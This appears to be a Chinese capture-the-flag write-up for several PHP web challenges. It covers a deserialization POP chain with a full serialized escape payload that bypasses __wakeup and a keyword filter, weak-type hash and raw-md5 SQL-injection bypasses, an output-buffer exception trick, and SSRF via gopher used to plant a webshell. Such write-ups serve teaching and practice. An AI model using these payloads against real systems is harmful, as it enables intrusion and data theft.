web辅助
源码中。
class.php是类文件。用于构造pop链
common.php是自定义函数文件。。其中。read和write。是上次安恒月赛考过的。反序列化逃逸
index.php接受username和password参数。初始化player类。写入文件
play.php反序列化从文件中读取的序列化字符
会经过check函数。
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
不能出现name。
再去看看类文件。构造POP链
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
//触发destruct
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
//把类当作函数调用。触发invoke
}
}
public function __destruct(){
$this->TP();
//调用TP()
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
//绕过wakeup
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
//把类当作字符串。触发tostring
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
//触发KS。读取flag
return "";
}
}
?>
以下是EXP
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
}
class topsolo{
protected $name;
public function __construct($name){
$this->name=$name;
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name=$name;
}
}
class jungle{
protected $name;
}
$d=new jungle();
$c=new midsolo($d);
$b=new topsolo($c);
$a=new player('1','1212121',$b);
echo urlencode(serialize($a));
?>
然后绕过wakeup。和name。
wakeup+1绕过。name利用S: \6eame绕过
然后就是逃逸对象了
username=11\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=1";s:7:"%00*%00pass";s:7:"1212121";s:8:"%00*%00admin";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3BN%3B%7D%7D%7D}
然后play.php触发就行
Funhash
$_GET["hash1"] != hash("md4", $_GET["hash1"])
//弱类型。找个0e开头加密后还是0e的就行。
$_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])
//数组绕过
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
//找个加密后带'||'或者'or'的字符串就行
half_infiltration
审计源码
可控点:
$student->$body();
global $$this->num;
$result=$GLOBALS['flag'];
我们可以调用Pass的read方法。来获取flag。$$this->num。变量覆盖$result=flag
但是read方法开启了ob_start()。会把所有输出放到缓冲区。并且$result赋值后。清空缓冲区。并不会有输出。
websec.fr中ob_start遇到报错。就会把信息输出出来。
而ob_Start和ob_end_clean中间。只有一个global $$a可控。
所以嘚想办法让global $$a报错
第五空间的WP中。当赋值$$this
会报错。。导致触发exception。就会输出结果
EXP:
<?php
class Pass{
}
class User{
public $age,$sex,$num;
public function __construct($a1,$a2,$a3){
$this->age=$a1;
$this->sex=$a2;
$this->num=$a3;
}
}
$a=new Pass();
$b=new User($a,'read','result');
$c=new User($a,'read','this');
echo serialize(array($b,$c));
原理:
第一个是正常payload。覆盖全局变量result。第二个payload触发exception。它就不会清理掉print的输出。输出flag。
F12得到ssrf的源码
遍历得到40000存在一个貌似文件上传服务。
参数是file和content。
利用gopher写文件。
然后发现禁了=<?php等。
用php://filter/convert.base64-decode/resource=123.php+base64编码PHP短标签绕过。
uploads目录遍历得到shell